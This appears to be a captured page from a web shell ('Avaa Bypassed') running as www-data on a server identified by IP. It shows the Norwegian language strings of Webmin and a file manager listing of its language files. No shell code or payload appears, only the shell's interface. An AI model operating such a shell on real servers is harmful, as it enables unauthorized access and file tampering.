[ Avaa Bypassed ]




Upload:

Command:

www-data@3.148.237.97: ~ $
main_homepage=Hjemmeside
main_feedback=Bytte bruker ...
main_switch=Bytt bruker ...
main_logout=Logg ut
main_version=Versjon $1 på $2 ($3)
main_title=Webmin $1 på $2 ($3)
main_title2=Webmin
main_title3=Webmin $1 ($2)
main_none=Du har ikke tilgang til noen Webmin moduler.
main_skill=Ferdighetsnivå
main_readonly=(Lese modus)
main_return=Gå tilbake til $1
main_unused=Ubrukte moduler
main_refreshmods=Oppfrisk moduler

link_essl=Perl-modulen Net::SSLeay som behøves for HTTPS forbindelser er ikke installert på ditt system.

category_servers=Tjenere
category_hardware=Maskinvare
category_system=System
category_webmin=Webmin
category_net=Nettverk
category_syslet=Syslets
category_cluster=Klynge
category_info=Informasjon
category_=Verktøy

longcategory_servers=Moduler for konfigurering av web, e-post, FTP og andre tjenere
longcategory_hardware=Moduler for skriver, disk og annen maskinvarekonfigurasjon
longcategory_system=Moduler for brukere, filsystemer, Cron jobber og andre systeminnstillinger
longcategory_webmin=Moduler for konfigurering av Webmin
longcategory_net=Moduler for konfigurering av nettverk og nettverkstjenester
longcategory_cluster=Moduler som kan vedlikeholde flere Webmin servere fra ett enkelt grensesnitt
longcategory_info=Moduler som viser informasjon om systemet ditt
longcategory_=Moduler som utføre andre forskjellige oppgaver

header_webmin=Webmin Index
header_module=Modulindeks
header_help=Hjelp ...
header_config=Modulkonfigurering
header_servers=Webminservere

index=index
yes=Ja
no=Nei
save=Lagre
create=Opprett
delete=Slett
find=Søk
error=Feil
error_previous=forrige side
error_stack=Call Stack Trace
error_file=Fil
error_line=Linje
error_sub=Funksjon
error_stackline=I filen $1 på linje $2 som kaller $3
efilewrite=Kunne ikke skrive til $1 : $2
efileclose=Kunne ikke skrive til $1 ved lukking : $2
efileopen=Kunne ikke åpne $1 for skriving : $2
default=Standard
modify=Endre
reset=Nullstill
ok=OK
cancel=Avbryt
fail=Feilet
helpsearch=Søk i dok..
switch_remote_euser=Unix brukeren $1 finnes ikke.
programname=Webmin
euserdbacl=Kunne ikke hente bruker ACL : $1
euserdbacl2=Kunne ikke oppdatere bruker ACL : $1
egroupdbacl=Kunne ikke hente gruppe ACL : $1
egroupdbacl2=Kunne ikke oppdatere gruppe ACL : $1

chooser_title1=Velg fil ...
chooser_title2=Velg katalog ...
chooser_dir=Katalog for $1
chooser_ok=OK
chooser_date=Velg dato
chooser_eopen=Listing feilet : $1

users_title1=Velg brukere ...
users_title2=Velg bruker ...
users_sel=Valgte brukere
users_all=Alle brukere
users_ok=OK
users_cancel=Avbryt
users_clear=Nullstill

groups_title1=Velg grupper ...
groups_title2=Velg gruppe ...
groups_all=Alle grupper
groups_sel=Valgte grupper
groups_ok=OK
groups_cancel=Avbryt
groups_clear=Nullstill

modules_title1=Velg moduler..
modules_title2=Velg modul..
modules_sel=Valgte moduler
modules_all=Alle moduler
modules_ok=OK
modules_cancel=Avbryt
modules_clear=Nullstill

config_ecannot=Du får ikke lov til å konfigurere denne modulen
config_title=Konfigurering
config_dir=For modul $1
config_header=Konfigurerbare innstillinger for $1
config_none=Ingen
config_eaccess=Du får ingen tilgang til denne modulen
config_emodule=Modulen finnes ikke
config_err=Kunne ikke lagre konfig
config_nochange=Ikke endre
config_setto=Satt til
config_ewebmin=Parameter type 14 virker bare i Webmin

help_err=Hjelp kunne ikke vises
help_epath=Manglende eller ugyldige hjelpbane
help_efile=Kunne ikke lese hjelpfilen for $1
help_eheader=Seksjon <header> mangler
help_einclude=Det gick ikke å ta med $1
help_eif=$1 misslykket : $2
help_eexec=$1 misslykket : $2

referer_title=Sikkerhetsadvarsel
referer_warn=<b>Advarsel!</b> Webmin har oppdaget at URL $1 linken til programmet $2, ser ut til å være utenfor Webmin serveren. Dette kan være ett forsøk på å lure din server til å utføre ett farligt kommando.
referer_warn_unknown=<b>Advarsel!</b> Webmin har oppdaget at programmet $1 ble lenket til fra en ukjent URL, som ser ut til å ligge utenfor Webmin serveren. Dette kan være ett forsøk på å lure din server til å utføre en farlig kommando.
referer_fix1=Dersom dette er en gyldig lenke, kan du tillate lenker fra denne URLen på følgende måte:<ul><li>Logg inn på Webmin på vanlig måte.<li>Gå til <b>Webmin konfigurasjon</b> modulen.<li>Klikk på ikonet Betrodde referenter.<li>Skriv inn vertsnavnet $1 inn i feltet <b>Betrodde nettsteder</b>, og klikk <b>Lagre.</b></ul>
referer_fix2=Alternativt kan du konfigurere Webmin til å tillate denne lenken fra kommandolinjen ved å:<ul><li>Logge inn som <tt>root</tt>, og redigere filen <tt>/etc/webmin/config</tt>.<li>Legg til linjen <tt>referers=$1</tt> på slutten, eller dersom en <tt>referers</tt> linje allerede finnes legger du til <tt>$1</tt> til den.<li>Lagre filen.</ul>
referer_fix3u=Forsikre deg om at nettleseren din er konfigurert til å sende referer-informasjon slik at den kan verifiseres av Webmin
referer_fix2u=Alternativt kan du konfigurere Webmin til å tillate lenker fra ukjente referenter ved å :<ul><li>Logge inn som <tt>root</tt>, og redigere filen <tt>/etc/webmin/config</tt>.<li>Finn linjen <tt>referers_none=1</tt> og endre den til <tt>referers_none=0</tt>.<li>Lagre filen.</ul>

session_header=Logg inn på Webmin
session_mesg=Du må oppgi brukernavn og passord for å logge inn på Webmin tjeneren på $1.
session_mesg2=Du må oppgi brukernavn og passord for å logge inn.
session_user=Brukernavn
session_pass=Passord
session_twofactor=To-faktor token
session_login=Logg inn
session_clear=Nullstill
session_failed=Innlogging feilet. Vennligst prøv på nytt.
session_twofailed=To-faktor autentisering feilet : $1
session_logout=Du er logget ut. Bruk skjemaet nedenfor for å logge inn på nytt.
session_timed_out=Sesjonen ble tidsavbrutt etter $1 minutter uten aktivitet.
session_save=Husk innlogging permanent?

pam_header=Logg inn på Webmin
pam_mesg=Du må svare på spørsmålet nedenfor for å logge inn på Webmin serveren på $1.
pam_mesg2=Du må svare på spørsmålet nedenfor for å logge inn.
pam_login=Fortsett
pam_restart=Omstart

acl_root=Rot-katalog for filvelger
acl_otherdirs=Andre synlige kataloger i filvelger
acl_nodot=Skjul dot-filer i filvelger?
acl_home=Brukers hjemmekatalog
acl_uedit=Brukere synlige i bruker-velger
acl_uedit_all=Alle brukere
acl_uedit_none=Ingen brukere
acl_uedit_only=Bare brukerne
acl_uedit_except=Alle unntatt brukerne
acl_uedit_uid=Brukere med UIDer i området
acl_uedit_group=Brukere med gruppe
acl_gedit=Grupper synlige i gruppe-velger
acl_gedit_all=Alle grupper
acl_gedit_none=Ingen grupper
acl_gedit_only=Bare gruppene
acl_gedit_except=Alle unntatt gruppene
acl_gedit_gid=Grupper med GID i området
acl_feedback=Kan sende tilbakemelding per e-post?
acl_feedback2=Ja
acl_feedback1=Ja, men ikke med konfig-filer
acl_feedback0=Nei
acl_feedback3=Ja, med konfig-filer
acl_rpc=Kan akseptere RPC kall?
acl_rpc2=Bare for <tt>root</tt> eller <tt>admin</tt>
acl_rpc1=Ja
acl_rpc0=Nei
acl_readonly2=Bruker er i demo-modus?
acl_readonlyyes=Ja (Noen moduler kan være utilgjengelige)
acl_negative=Gi nye modul-tilganger til bruker?
acl_fileunix=Bla gjennom filer som Unix bruker
acl_sameunix=Samme som Webmin brukernavn
acl_webminsearch=Vis Webmin søke-felt?

month_1=Januar
month_2=Februar
month_3=Mars
month_4=April
month_5=Mai
month_6=Juni
month_7=Juli
month_8=August
month_9=September
month_10=Oktober
month_11=November
month_12=Desember

day_0=Søndag
day_1=Mandag
day_2=Tirsdag
day_3=Onsdag
day_4=Torsdag
day_5=Fredag
day_6=Lørdag

smonth_1=Jan
smonth_2=Feb
smonth_3=Mar
smonth_4=Apr
smonth_5=Mai
smonth_6=Jun
smonth_7=Jul
smonth_8=Aug
smonth_9=Sep
smonth_10=Okt
smonth_11=Nov
smonth_12=Des

sday_0=Sø
sday_1=Ma
sday_2=Ti
sday_3=On
sday_4=To
sday_5=Fr
sday_6=Lø

emodule=Tilgang nektet : Bruker $1 har ikke tilgang til å bruke $2 modulen
emodulecheck=Modulen $1 er ikke tilgjengelig på ditt system
elock_tries2=Kunne ikke låse filen $1 etter $2 minutter. Siste feil var : $3

skill_high=Ekspert
skill_medium=Erfaren
skill_low=Nybegynner

feedback_title=Webmin tilbakemelding
feedback_desc=Her kan du rapportere feil, eller komme med forslag til Webmin utviklerne vedrørende problemer eller manglende funksjonalitet. Når du klikker Send-knappen vil opplysningene du har skrevet inn i skjemaet bli sendt til $1.
feedback_desc2=Denne tilbakemeldingen vil bli sendt til Webmins utvikler, ikke til din systemadministrator eller ISP. Vennligst skriv tilbakemeldingen din på engelsk, selv om du kjører Webmin på et annet språk.
feedback_header=Tilbakemelding detaljer
feedback_name=Ditt navn
feedback_email=DIn e-post adresse
feedback_module=Gjelder modul
feedback_all=Alle moduler
feedback_text=Beskrivelse av problem eller forslag
feedback_os=Ta med detaljer om operativsystem i meldingen?
feedback_osdesc=Dersom du velger denne innstillingen vil meldingen inneholde informasjon om ditt operativsystem (navn og versjon).
feedback_config=Ta med modulkonfigurasjon i meldingen?
feedback_configdesc=Dersom du velger denne innstillingen vil meldingen inneholde konfigurasjon for modulen meldingen gjelder og innholdet av alle konfig.filer som modulen benytter. For eksempel, hvis tilbakemeldingen gjaldt modulen <i>Brukere og grupper</i>, ville dine <tt>/etc/passwd</tt> og <tt>/etc/shadow</tt> filer bli lagt ved meldingen.
feedback_attach=Ekstra filer som skal vedlegges
feedback_send=Send tilbakemelding
feedback_mailserver=Send via SMTP tjener
feedback_mailserver_def=Lokalt sendmail program
feedback_err=Kunne ikke sende tilbakemelding
feedback_emodule=Du valgte å ta med modulkonfigurasjon i meldingen, men du har ikke valgt noen moduler.
feedback_emodule2=Valgt modul finnes ikke
feedback_econfig=Du har ikke full tilgang til den valgte modulen.
feedback_via=Sendt tilbakemelding til $1 via SMTP tjener $2
feedback_prog=Sendt tilbakemelding til $1 vha. sendmail program $2
feedback_esend=Kunne ikke sende tilbakemelding via sendmail program eller lokal SMTP tjener.
feedback_to=Send tilbakemelding til adressene
feedback_enoto=Det var ikke oppgitt noen e-post adresser å sende tilbakemelding til
feedback_ecannot=Du har ikke lov til å sende tilbakemelding
feedback_ecannot2=Du har ikke lov til å sende feedback som inneholder konfig-filer

progress_size2=Laster ned $1 ($2) ..
progress_nosize=Laster ned $1 ..
progress_datan=Mottatt $1 ($2 %)
progress_data2n=Mottatt $1
progress_done=.. nedlasting fullført.
progress_incache=Funnet $1 i cache ..

readparse_cdheader=Manglende Content-Disposition header
readparse_enc=Forventet form-data tegnkoding, men mottok normal tegnkoding
readparse_max=Data overskred maksimumsstørrelse på $1 bytes

password_expired=Passordet ditt er utløpt, og du må velge et nytt.
password_temp=Du må velge et nytt passord til å erstatte din midlertidige login.
password_header=Velg nytt passord
password_user=Brukernavn
password_old=Gjeldende passord
password_new1=Nytt passord
password_new2=Gjenta nytt passord
password_ok=Endre
password_clear=Nullstill
password_done=Passordet ditt er endret. Du kan nå <a href='$1'>logge inn på nytt</a> med det nye passordet.
password_err=Kunne ikke endre passord
password_euser=Brukernavnet ditt ble ikke funnet i passord filen!
password_eold=Gjeldende passord er feil
password_enew1=Du skrev ikke inn noe nytt passord
password_enew2=De nye passordene dine stemmer ikke overens
password_epam=PAM feil : $1
password_emodpam=Perl-modulen Authen::PAM som er nødvendig for å utføre passordendringer, er ikke installert!
password_enewpass=Nytt passord er ikke tillatt : $1

ui_mandatory=Dette feltet er obligatorisk
ui_checkmandatory=Ingenting var valgt
ui_errors=Flere feil funnet :
ui_nothing=Ingenting oppgitt
ui_searchcol=Finn rader hvor
ui_searchfor=Inneholder teksten
ui_searchok=Søk
ui_selall=Velg alt.
ui_selinv=Inverter valg.
ui_edate=Ugyldig dato
ui_etime=Ugyldig tid
ui_paging=Viser radene $1 til $2 av $3
ui_rowlabel=$2 i rad $1 :
ui_filterbox=Type til filter..

header_statusmsg=$1 logget inn på $2 $3 $4 ($5)

uptracker_title=Laster opp fil
uptracker_file=Filnavn
uptracker_size=Størrelse
uptracker_pc=Fremdrift
uptracker_eid=Ingen opplastings ID angitt
uptracker_eid2=Opplastings ID er ugyldig!
uptracker_of=$1 av $2

wsearch_title=Søk $1
wsearch_modt=Modul
wsearch_mtitle=Modul navn
wsearch_what=Matchende side
wsearch_type=Match type
wsearch_mod=$1 modul
wsearch_config_webmin=Webmin modul konfig
wsearch_config_usermin=Usermin innstillinger
wsearch_help=Hjelpeside
wsearch_inmod=I $1
wsearch_text=Brukergrensesnitt tekst
wsearch_esearch=Du oppga ikke noe å søke etter.
wsearch_enone=Ingen Webmin moduler eller sider som stemmer med $1 ble funnet.
wsearch_on=(På $1)
wsearch_helpfor=Hjelp for <i>$1</i>
wsearch_htext=Matchende tekst
wsearch_htype=Kilde
wsearch_hcgis=Referanser
wsearch_type_mod=Modul navn
wsearch_type_config=Konfigurasjon
wsearch_type_help=Hjelpe-side
wsearch_type_text=Brukergrensesnitt
wsearch_type_dir=Modul URL
wsearch_hmod=Modul
wsearch_moddir=URL sti /$1/
wsearch_searching=Søker etter $1 . .
wsearch_found=fant $1 resulatater :

sql_emysqldriver=Kunne ikke laste MySQL DBI driver
sql_emysqlconnect=Kunne ikke koble til MySQL database : $1
sql_epostgresqldriver=Kunne ikke laste PostgreSQL DBI driver
sql_epostgresqlconnect=Kunne ikke koble til PostgreSQL database : $1
sql_eldapdriver=Kunne ikke laste LDAP perl modul
sql_eldapconnect=Kunne ikke koble til LDAP tjener $1
sql_eldaptls=Kunne ikke starte TLS kryptering for LDAP : $1
sql_eldaplogin=Kunne ikke logge inn på LDAP tjener som $1 : $2

log_email_subject=Webmin handling i  $1
log_email_global=Webmin global handling
log_email_desc=Denne meldingen ble sendt av Webmin som svar på en bruker-handling.
log_email_mod=Webmin modul: $1
log_email_moddesc=Modul tittel: $1
log_email_time=Handling utført: $1
log_email_system=Utført på system: $1
log_email_user=Utført av bruker: $1
log_email_script=Webmin script: $1
log_email_session=Sesjon ID: $1
log_email_remote=Klient adresse: $1

nice_size_PB=PB
nice_size_PiB=PiB
nice_size_TB=TB
nice_size_TiB=TiB
nice_size_GB=GB
nice_size_GiB=GiB
nice_size_MB=MB
nice_size_MiB=MiB
nice_size_kB=kB
nice_size_kiB=KiB
nice_size_b=bytes

langauto_include=Ta med maskinoversettelser

Filemanager

Name Type Size Permission Actions
af File 6.61 KB 0644
af.auto File 7.85 KB 0644
ar File 18.71 KB 0644
ar.auto File 787 B 0644
be.auto File 21.68 KB 0644
bg File 9.83 KB 0644
bg.auto File 10.45 KB 0644
ca File 14.48 KB 0644
ca.auto File 706 B 0644
cs File 13.96 KB 0644
cs.auto File 1012 B 0644
da File 13.66 KB 0644
da.auto File 573 B 0644
de File 15.1 KB 0644
de.auto File 390 B 0644
el File 16.96 KB 0644
el.auto File 6.62 KB 0644
en File 13.91 KB 0644
es File 15.14 KB 0644
es.auto File 425 B 0644
eu File 11.85 KB 0644
eu.auto File 2.79 KB 0644
fa File 14.04 KB 0644
fa.auto File 6.38 KB 0644
fi File 10.44 KB 0644
fi.auto File 4.62 KB 0644
fr File 10.98 KB 0644
fr.auto File 5.46 KB 0644
he File 2.44 KB 0644
he.auto File 13.55 KB 0644
hr.auto File 15.04 KB 0644
hu File 9.36 KB 0644
hu.auto File 6.66 KB 0644
it File 15.08 KB 0644
ja File 17.49 KB 0644
ja.auto File 413 B 0644
ko File 12.35 KB 0644
ko.auto File 3.27 KB 0644
lt File 6.77 KB 0644
lt.auto File 8.29 KB 0644
lv.auto File 15.11 KB 0644
ms File 13.49 KB 0644
ms.auto File 1.14 KB 0644
mt.auto File 15.18 KB 0644
nl File 13.67 KB 0644
nl.auto File 1.33 KB 0644
no File 13.85 KB 0644
no.auto File 214 B 0644
pl File 13.81 KB 0644
pl.auto File 1.06 KB 0644
pt File 13.19 KB 0644
pt.auto File 2.11 KB 0644
pt_BR File 7.1 KB 0644
pt_BR.auto File 8.24 KB 0644
ro File 9.69 KB 0644
ro.auto File 5.22 KB 0644
ru File 17.21 KB 0644
ru.auto File 4.05 KB 0644
sk File 8.47 KB 0644
sk.auto File 6.48 KB 0644
sl.auto File 14.74 KB 0644
sv File 2.31 KB 0644
sv.auto File 12.26 KB 0644
th File 4.92 KB 0644
th.auto File 18.93 KB 0644
tr File 2.81 KB 0644
tr.auto File 12.12 KB 0644
uk File 13.95 KB 0644
uk.auto File 6.41 KB 0644
ur.auto File 18.41 KB 0644
vi.auto File 17.28 KB 0644
zh File 9.33 KB 0644
zh.auto File 4.26 KB 0644
zh_TW File 6.42 KB 0644
zh_TW.auto File 6.67 KB 0644